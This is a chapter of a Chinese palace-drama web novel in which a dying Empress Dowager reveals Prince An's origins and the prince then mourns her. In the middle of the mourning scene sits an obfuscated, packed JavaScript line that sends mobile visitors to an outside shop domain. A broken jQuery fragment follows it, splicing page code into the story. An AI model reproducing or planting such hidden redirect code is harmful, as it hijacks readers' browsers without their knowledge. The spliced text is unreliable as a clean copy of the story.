安王接到太后懿旨的时候，正在天井里浇桂花树。
周砚把旨意递过来。
他看了一眼，放下水壶。
“太后病重，想见朕和安王。安王携王妃入京。”
“什么时候走？”
“三天后。”
他站在桂花树下，看着树上金黄的碎花。
太后。他叫了二十多年的母后。
可她知道，她不是他的亲娘。
他小时候不知道。后来知道了。
可他从来没有问过她。她也从来没有提过。
“殿下，你去吗？”周砚问。
“去。她病重，不去不行。”
“王妃去吗？”
他看着我。我点了点头。
“去。我们一起去。”
到京城的时候，是腊月。
天冷。宫墙上的琉璃瓦结了霜。街上的人缩着脖子，匆匆地走。
马车停在宫门口。太监引着我们往慈宁宫走。
慈宁宫还是老样子。廊下的红灯笼换了新的，廊柱上的漆还是去年的。
我站在廊下，看了一眼那个位置。
第一世，我就是在这里被刺的。两刀，一刀胸口，一刀腹部。
安王走在我前面。他忽然停下脚步。
“怎么了？”
“没什么。”他说，“走吧。”
他推开殿门。
屋里烧着地龙，暖融融的。可太后的身子还是很弱。她躺在榻上，盖着厚厚的锦被，脸色蜡黄，头发全白了。
她看见我们进来，抬了抬手。
“白白。”
“太后。”我走过去，坐在榻边。
“你来了。安王也来了。”
她看着安王，目光在他脸上停了一会儿。
“你瘦了。”
“太后身体可好？”安王站在榻前，声音很平。
太后笑了。她笑起来的时候，脸上的皱纹更深了。
“坐下。哀家有话跟你们说。”
安王坐在榻边的椅子上。我坐在他旁边。
太后靠在枕头上，喘了一会儿气。
“之阳。”她叫安王的名字。
“太后。”
“你知道哀家为什么要见你吗？”
安王沉默了一瞬。
“太后病重，召儿臣入京探望。”
“不是。”太后摇头，“哀家要死了。死了之后，有些话就没人说了。哀家要在死之前，把那些话说完。”
她看着他。目光很复杂。
“之阳，你恨哀家吗？”
安王愣住。
“太后何出此言？”
“你恨哀家。你从小就恨哀家。”
太后说。
“你三岁那年，哀家抱你，你哭。”
“你五岁那年，哀家给你做衣裳，你不穿。”
“你七岁那年，你父皇夸你书读得好，哀家夸了你一句，你把书摔在地上。”
“你恨哀家。你以为哀家不知道？”
安王没有说话。
“可你知道哀家为什么那么对你吗？”
“因为儿臣不是太后亲生的。”
太后笑了。笑得很轻。
“对。你不是哀家亲生的。”
“你的生母是花魁。你父皇在江南遇见的她。她生了孩子，你父皇把你带回了宫。”
“可她的身份拿不出手。朝臣不会允许一个花魁进宫，更不会允许她的儿子当皇子。”
安王的手攥紧了膝盖。
“所以你父皇和哀家做了协议。”
“哀家愿意把你记在名下，当嫡子。反正哀家那时候还没有孩子。”
“可你生母不能有名分。她不能进宫。她不能见你。她只能住在宫外，等你父皇偶尔去看她。”
“你三岁那年，你生母病了。你父皇让人去接她进宫，想让她看看你。”
“可朝臣不让。他们说，花魁进宫，成何体统。”
“你父皇和朝臣吵了三天。最后你生母没有进宫。她死在宫外。”
“死的时候，你父皇在她身边。哀家没有去。”
安王低下头。
“你恨哀家没有救她。”
“儿臣不恨太后。”安王说，“儿臣恨的是父皇。”
太后看着他，很久。
“你父皇对不起你。可他也没有办法。”
“他是皇帝。他要顾着朝局。他顾着朝局，就顾不了你生母。他顾了天下，就顾不了你。”
“所以太后呢？”
安王抬起头，看着太后。
“太后为什么那样对儿臣？”
“儿臣知道，儿臣不是太后亲生的。可五弟也不是。五弟的生母也早逝，也养在太后名下。”
“可太后对五弟好。太后给五弟做饭，给五弟讲故事，给五弟选妃。”
“太后从来没有给儿臣做过饭。从来没有给儿臣讲过故事。从来没有给儿臣选过妃。”
“因为五弟是哀家亲手带大的。”太后说，“你不是。”
“你三岁才进宫。你进宫的时候，哀家已经知道了你的身世。”
“哀家心里有疙瘩。哀家不想碰你。”
“所以太后偏心。”
“对。哀家偏心。”太后说，“哀家承认。”
安王看着她。他的眼睛红了，但没有泪。
“太后，儿臣再问你一件事。”
“你问。”
“太后为什么眼看着儿臣的势力倒？”
安王说。
“南昌候倒的时候，太后在宫里。太后有兵，有权，有先帝的密旨。”
“太后只要说一句话，南昌候就不会倒。”
“可太后没有说。太后看着南昌候倒，看着儿臣的势力散，看着儿臣被贬岭南。”
“太后为什么不出手？”
太后沉默了一会儿。
她看着窗外。窗外有一棵桂花树，叶子已经黄了，落了一地。
“因为哀家不愿意入宫。”
安王愣住。
“哀家入宫之前，有一个青梅竹马。”
太后说。
“他家在江南，是一个世家的公子。我们从小一起长大，他想娶哀家。”
“可哀家的父母不让。他们说，哀家要入宫。入宫才能光耀门楣。”
“哀家不愿意。可哀家拗不过父母。”
“他们逼哀家入宫，逼哀家当皇后，逼哀家生皇子。”
“哀家生了皇子，可皇子夭折了。哀家没有孩子。”
“哀家的父母又逼哀家抱养孩子，逼哀家把你记在名下。”
“哀家的一生，都是父母安排的。”
“哀家不愿意入宫，可哀家入了。”
“哀家不愿意当皇后，可哀家当了。”
“哀家不愿意养孩子，可哀家养了。”
“哀家不愿意争权，可哀家争了。”
“南昌候倒的时候，哀家的父母来找哀家。”
“他们说，你替南昌候说句话。”
“哀家说，不说。”
“他们说，你不说，我们就与你断绝关系。”
“哀家说，断就断。”
“哀家看着南昌候倒。看着你的势力散。看着你被贬岭南。”
“哀家没有出手。因为哀家不愿意再被父母操控。哀家不愿意再当他们的傀儡。”
安王看着她，很久。
“太后，你为什么不早说？”
“因为哀家是太后。”
她说。
“太后不能诉苦。”
“太后不能说自己不愿意入宫。”
“太后不能说自己恨父母。”
“太后不能说自己偏心。”
“太后只能端庄。只能慈祥。只能像个太后的样子。”
“可哀家偏心了。哀家承认。”
“哀家对不起你。”
“你生母死在宫外的时候，哀家没有去。”
“你被贬岭南的时候，哀家没有拦。”
“你娶柳白白的时候，哀家没有赐礼。”
“可哀家知道你去岭南的时候，在心里高兴。”
“你走了，哀家不用再看着你。”
“看着你，哀家就想起你生母。”
“想起你生母，哀家就想起自己。”
“哀家不愿意想。”
她喘了一口气，看着我。
“白白。”
“太后。”
“你替哀家跟他说。”
她说。
“哀家不是个好母亲。可哀家不是坏人。”
“哀家只是累了。累了一辈子。”
我握住她的手。她的手很凉。
“太后，你歇着。”
“不歇了。要走了。”
她看着安王。
“之阳，你过来。”
安王站起来，走到榻边。
太后抬起手，摸了摸他的脸。
她的手指很凉，微微发颤。
“之阳，你长得像你父皇。可你的眼睛像你生母。”
“你生母的眼睛很亮。她是个好女人。她不该死在宫外。”
安王的眼泪掉下来。
“母后。”
他叫了一声母后。这是他第一次叫她母后。
太后愣了一下，然后笑了。
“哎。”
她闭上眼睛。
手慢慢滑下来。
屋里静了。
长明灯的火苗跳了跳，照在她脸上。
太后走了。
腊月二十三，小年。
宫里挂了白，满城素缟。
新帝在太庙守灵，文武百官跪在殿外。
安王站在灵前，穿着孝服，腰上系着麻绳。
他没有哭。
从太后闭眼那天起，他就没有哭过。
他只是站在那里，看着太后的牌位，一动不动。
我站在他旁边。孝服很重，麻绳很粗，硌得肩膀疼。
可我没有动。他不动，我也不动。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17941188|213808||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“殿下。”
“嗯。”
“你还好吗？”
“好。”
他没有回头。他的声音很平。
“殿下，太后走了。”
“我知道。”
“你叫了她母后。”
“嗯。”
“她听见了。”
“嗯。”
他没有再说话。我也没有再问。
守灵三天。
三天里，他没有吃多少东西，没有睡多少觉。
他站在灵前，像一尊石像。
新帝来劝他，他不走。
周砚来劝他，他不走。
我端了粥来，他看了一眼。
“放着吧。”
粥凉了。他也没有动。
第三天夜里，他忽然开口。
“柳白白。”
“嗯。”
“她不是个好母亲。”
“我知道。”
“可她累了。”
“我知道。”
“她不愿意入宫。她不愿意当皇后。她不愿意养孩子。她不愿意争权。可她全做了。”
“我知道。”
“她偏心。她承认了。”
“我知道。”
“可她最后叫了我的名字。她叫了之阳。她摸了我的脸。她说我的眼睛像我生母。”
“我知道。”
他转过身来，看着我。
他的眼睛红了，但没有泪。
“柳白白，我恨了她二十年。可她死了，我恨不起来了。”
“那就别恨了。”
“可我不恨她，我恨谁？”
“恨你自己。”
我说。
“你恨你自己没有早点问她。没有早点叫她母后。没有早点让她知道你知道了。”
他看着我，很久。
“对。我恨我自己。”
他低下头，把脸埋进手里。
他的肩膀在抖。
我走过去，站在他旁边，把手放在他肩上。
“殿下，太后走了。可你还有我。还有沐南王。还有桂花树。还有秋千。还有木鸟。还有岭南。还有周砚。还有你的日子。”
“我的日子？”
“对。你的日子。你当了一天皇帝。你回了岭南。你种了三棵桂花树。你看了秋千。你养了木鸟。你去过青州苏州杭州敦煌兰州广州。你做了很多事。你还有很长的日子要过。”
他抬起头，看着我。
“柳白白。”
“嗯。”
“你陪我过。”
“好。”
太后丧事办完，安王和我回了岭南。
走的那天，新帝站在城门口。
他穿着孝服，瘦了一圈。
他看着我，又看着安王。
“皇兄。”
“皇上。”
“太后的事，朕很难过。”
“臣也难过。”
“皇兄，你以后还来京城吗？”
安王沉默了一会儿。
“来。每年都来。给太后上香。”
“好。”新帝说，“朕等你。”
安王上了马车。
我掀开车帘，看了一眼城楼。
新帝站在城楼上，穿着孝服，看着我们的马车走远。
他的眼睛很亮。
“柳白白。”安王坐在对面。
“嗯。”
“你在看什么？”
“看城楼。看五皇子。看你。”
“看我什么？”
“看你叫了母后。”
他沉默了一会儿。
“她听见了。”
“嗯。她听见了。”
马车走了。京城越来越远，城楼越来越小。
可我知道，太后听见了。
她在天上，或者在哪里，听见了。
她听见安王叫她母后。
她笑了。
回到岭南那天，是个晴天。
三棵桂花树还在。秋千还在。木鸟还在。
沐南王站在门口，等着我们。
“回来了。”
“回来了。”
“太后的事，我听说了。”
“嗯。”
“你还好吗？”
安王看着他。
“好。”
“那就好。”沐南王说，“桂花树开花了。今年的花比往年多。”
安王走到桂花树下，抬头看。
满树金黄，花瓣落了一地。
“柳白白。”
“嗯。”
“摘桂花。”
“做什么？”
“做桂花糕。给太后上供。”
“好。”
我们摘了桂花。
安王亲手做的桂花糕，甜得刚好。
他把桂花糕放在桂花树下，摆了一双筷子，一只杯子。
“母后，你尝尝。”
风吹过。桂花落下来。
落在桂花糕上。落在杯子里。落在他的肩上。